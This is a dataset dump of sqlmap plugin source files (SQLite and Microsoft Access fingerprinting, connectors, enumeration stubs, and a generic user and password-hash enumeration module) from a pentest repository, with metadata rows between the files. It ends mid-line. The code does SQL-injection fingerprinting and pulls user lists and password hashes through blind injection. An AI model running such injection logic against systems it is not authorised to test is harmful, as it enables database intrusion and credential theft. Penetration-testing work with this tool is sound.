colConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (column, db) logger.info("%s%s" % (infoMsg, infoMsgTbl)) query = rootQuery.blind.count query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no tables contain column" if colConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % column warnMsg += "in database '%s'" % db logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) query = agent.limitQuery(index, query, colCond.replace("[DB]", db)) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl tbl = safeSQLIdentificatorNaming(tbl, True) if tbl not in dbs[db]: dbs[db][tbl] = {} if colConsider == "1": conf.db = db conf.tbl = tbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) kb.data.cachedColumns = {} else: dbs[db][tbl][column] = None foundCols[column][db].append(tbl) conf.dumper.dbColumns(foundCols, colConsider, dbs) self.dumpFoundColumn(dbs, foundCols, colConsider)
16,897
Python
.py
326
34.874233
198
0.527277
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,149
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on SQLite it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on SQLite it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg)
726
Python
.py
16
40.8125
71
0.757447
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,150
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import sqlite3 except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite User guide: http://docs.python.org/release/2.5/lib/module-sqlite3.html API: http://docs.python.org/library/sqlite3.html Debian package: python-sqlite (SQLite 2), python-pysqlite3 (SQLite 3) License: MIT Possible connectors: http://wiki.python.org/moin/SQLite """ def __init__(self): GenericConnector.__init__(self) self.__sqlite = sqlite3 def connect(self): self.initConnection() self.checkFileDb() try: self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) cursor = self.connector.cursor() cursor.execute("SELECT * FROM sqlite_master") cursor.close() except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: warnMsg = "unable to connect using SQLite 3 library, trying with SQLite 2" logger.warn(warnMsg) try: try: import sqlite except ImportError: errMsg = "sqlmap requires 'python-sqlite' third-party library " errMsg += "in order to directly connect to the database '%s'" % self.db raise SqlmapMissingDependence(errMsg) self.__sqlite = sqlite self.connector = self.__sqlite.connect(database=self.db, check_same_thread=False, timeout=conf.timeout) except (self.__sqlite.DatabaseError, self.__sqlite.OperationalError), msg: raise SqlmapConnectionException(msg[0]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) return None def execute(self, query): try: self.cursor.execute(utf8encode(query)) except self.__sqlite.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[0]) except self.__sqlite.DatabaseError, msg: raise SqlmapConnectionException(msg[0]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall()
3,003
Python
.py
69
34.768116
119
0.660377
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,151
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii from lib.core.common import Backend from lib.core.common import isDBMSVersionAtLeast from lib.core.settings import UNICODE_ENCODING from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Backend.setVersion('2') ['2'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" >>> Backend.setVersion('3') ['3'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT CAST(X'6162636465666768' AS TEXT) FROM foobar" """ def escaper(value): # Reference: http://stackoverflow.com/questions/3444335/how-do-i-quote-a-utf-8-string-literal-in-sqlite3 return "CAST(X'%s' AS TEXT)" % binascii.hexlify(value.encode(UNICODE_ENCODING) if isinstance(value, unicode) else value) retVal = expression if isDBMSVersionAtLeast('3'): retVal = Syntax._escape(expression, quote, escaper) return retVal
1,282
Python
.py
32
33.53125
132
0.672039
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,152
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import SQLITE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.sqlite.enumeration import Enumeration from plugins.dbms.sqlite.filesystem import Filesystem from plugins.dbms.sqlite.fingerprint import Fingerprint from plugins.dbms.sqlite.syntax import Syntax from plugins.dbms.sqlite.takeover import Takeover from plugins.generic.misc import Miscellaneous class SQLiteMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines SQLite methods """ def __init__(self): self.excludeDbsList = SQLITE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.SQLITE] = Syntax.escape
1,039
Python
.py
27
34.444444
87
0.750497
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,153
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import METADB_SUFFIX from lib.core.settings import SQLITE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.SQLITE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.SQLITE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.sqlite.org/lang_corefunc.html * http://www.sqlite.org/cvstrac/wiki?p=LoadableExtensions """ if not conf.extensiveFp and (Backend.isDbmsWithin(SQLITE_ALIASES) or (conf.dbms or "").lower() in SQLITE_ALIASES): setDbms(DBMS.SQLITE) self.getBanner() return True infoMsg = "testing %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("LAST_INSERT_ROWID()=LAST_INSERT_ROWID()") if result: infoMsg = "confirming %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("SQLITE_VERSION()=SQLITE_VERSION()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False else: infoMsg = "actively fingerprinting %s" % DBMS.SQLITE logger.info(infoMsg) result = inject.checkBooleanExpression("RANDOMBLOB(-1)>0") version = '3' if result else '2' Backend.setVersion(version) setDbms(DBMS.SQLITE) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.SQLITE logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.SQLITE, METADB_SUFFIX)
3,186
Python
.py
79
30.78481
122
0.614759
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,154
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on SQLite it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on SQLite it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg)
1,038
Python
.py
24
37.458333
67
0.726912
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,155
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/sqlite/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getCurrentUser(self): warnMsg = "on SQLite it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on SQLite it is not possible to get name of the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on SQLite the current user has all privileges" logger.warn(warnMsg) def getUsers(self): warnMsg = "on SQLite it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on SQLite it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self, *args): warnMsg = "on SQLite it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on SQLite it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on SQLite it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): errMsg = "on SQLite it is not possible to search columns" raise SqlmapUnsupportedFeatureException(errMsg) def getHostname(self): warnMsg = "on SQLite it is not possible to enumerate the hostname" logger.warn(warnMsg)
1,893
Python
.py
46
34.282609
93
0.692182
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,156
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg)
746
Python
.py
16
42.0625
72
0.761379
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,157
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import pyodbc except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import IS_WIN from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pyodbc.googlecode.com/ User guide: http://code.google.com/p/pyodbc/wiki/GettingStarted API: http://code.google.com/p/pyodbc/w/list Debian package: python-pyodbc License: MIT """ def __init__(self): GenericConnector.__init__(self) def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " errMsg += "is restricted to Windows platforms" raise SqlmapUnsupportedFeatureException(errMsg) self.initConnection() self.checkFileDb() try: self.connector = pyodbc.connect('Driver={Microsoft Access Driver (*.mdb)};Dbq=%s;Uid=Admin;Pwd=;' % self.db) except (pyodbc.Error, pyodbc.OperationalError), msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except pyodbc.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (pyodbc.OperationalError, pyodbc.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except pyodbc.Error, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall()
2,159
Python
.py
56
31.660714
120
0.685495
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,158
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): def escaper(value): return "&".join("CHR(%d)" % ord(_) for _ in value) return Syntax._escape(expression, quote, escaper)
504
Python
.py
14
31.214286
62
0.682474
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,159
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ACCESS_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.access.enumeration import Enumeration from plugins.dbms.access.filesystem import Filesystem from plugins.dbms.access.fingerprint import Fingerprint from plugins.dbms.access.syntax import Syntax from plugins.dbms.access.takeover import Takeover from plugins.generic.misc import Miscellaneous class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft Access methods """ def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape
1,049
Python
.py
27
34.814815
87
0.751969
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,160
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getCurrentThreadData from lib.core.common import randomStr from lib.core.common import wasLastResponseDBMSError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ACCESS_ALIASES from lib.core.settings import METADB_SUFFIX from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) def _sandBoxCheck(self): # Reference: http://milw0rm.com/papers/198 retVal = None table = None if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" return retVal def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) # Microsoft Access table reference updated on 01/2010 sysTables = { "97": ("MSysModules2", "MSysAccessObjects"), "2000" : ("!MSysModules2", "MSysAccessObjects"), "2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs"), } # MSysAccessXML is not a reliable system table because it doesn't always exist # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") for version, tables in sysTables.items(): exist = True for table in tables: negate = False if table[0] == '!': negate = True table = table[1:] result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table) if result is None: result = False if negate: result = not result exist &= result if not exist: break if exist: return version return None def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) randStr = randomStr() inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) if wasLastResponseDBMSError(): threadData = getCurrentThreadData() match = re.search("Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: retVal = match.group(1).rstrip("%s.mdb" % randStr) if retVal.endswith('\\'): retVal = retVal[:-1] return retVal def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ACCESS return value actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) value += "\ndatabase directory: '%s'" % self._getDatabaseDir() return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ACCESS_ALIASES) or (conf.dbms or "").lower() in ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True infoMsg = "testing %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("VAL(CVAR(1))=1") if result: infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False setDbms(DBMS.ACCESS) if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_')
5,918
Python
.py
136
32.463235
122
0.587393
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,161
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Microsoft Access it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg)
1,078
Python
.py
24
39.125
77
0.733524
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,162
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/access/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getBanner(self): warnMsg = "on Microsoft Access it is not possible to get a banner" logger.warn(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" logger.warn(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" logger.warn(warnMsg) def isDba(self): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" logger.warn(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def getPrivileges(self, *args): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" logger.warn(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" logger.warn(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" logger.warn(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" logger.warn(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" logger.warn(warnMsg)
2,361
Python
.py
57
34.105263
103
0.681579
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,163
users.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/users.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues from lib.core.common import getLimitRange from lib.core.common import getUnicode from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parsePasswordHash from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import unArrayizeValue from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import MYSQL_PRIVS from lib.core.dicts import PGSQL_PRIVS from lib.core.dicts import FIREBIRD_PRIVS from lib.core.dicts import DB2_PRIVS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.threads import getCurrentThreadData from lib.request import inject from lib.utils.hash import attackCachedUsersPasswords from lib.utils.hash import storeHashesToFile from lib.utils.pivotdumptable import pivotDumpTable class Users: """ This class defines users' enumeration functionalities for plugins. """ def __init__(self): kb.data.currentUser = "" kb.data.isDba = None kb.data.cachedUsers = [] kb.data.cachedUsersPasswords = {} kb.data.cachedUsersPrivileges = {} kb.data.cachedUsersRoles = {} def getCurrentUser(self): infoMsg = "fetching current user" logger.info(infoMsg) query = queries[Backend.getIdentifiedDbms()].current_user.query if not kb.data.currentUser: kb.data.currentUser = unArrayizeValue(inject.getValue(query)) return kb.data.currentUser def isDba(self, user=None): infoMsg = "testing if current user is DBA" logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL): self.getCurrentUser() query = queries[Backend.getIdentifiedDbms()].is_dba.query % (kb.data.currentUser.split("@")[0] if kb.data.currentUser else None) elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and user is not None: query = queries[Backend.getIdentifiedDbms()].is_dba.query2 % user else: query = queries[Backend.getIdentifiedDbms()].is_dba.query query = agent.forgeCaseStatement(query) kb.data.isDba = inject.checkBooleanExpression(query) or False return kb.data.isDba def getUsers(self): infoMsg = "fetching database users" logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].users condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008"))) condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): kb.data.cachedUsers = [] for value in arrayizeValue(values): kb.data.cachedUsers.append(unArrayizeValue(value)) if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of database users" logger.info(infoMsg) if condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if count == 0: return kb.data.cachedUsers elif not isNumPosStrValue(count): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: kb.data.cachedUsers.append(user) if not kb.data.cachedUsers: errMsg = "unable to retrieve the database users" logger.error(errMsg) return kb.data.cachedUsers def getPasswordHashes(self): infoMsg = "fetching database users password hashes" rootQuery = queries[Backend.getIdentifiedDbms()].passwords if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.inband.query2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) if Backend.isDbms(DBMS.SYBASE): randStr = randomStr() getCurrentThreadData().disableStdOut = True retVal = pivotDumpTable("(%s) AS %s" 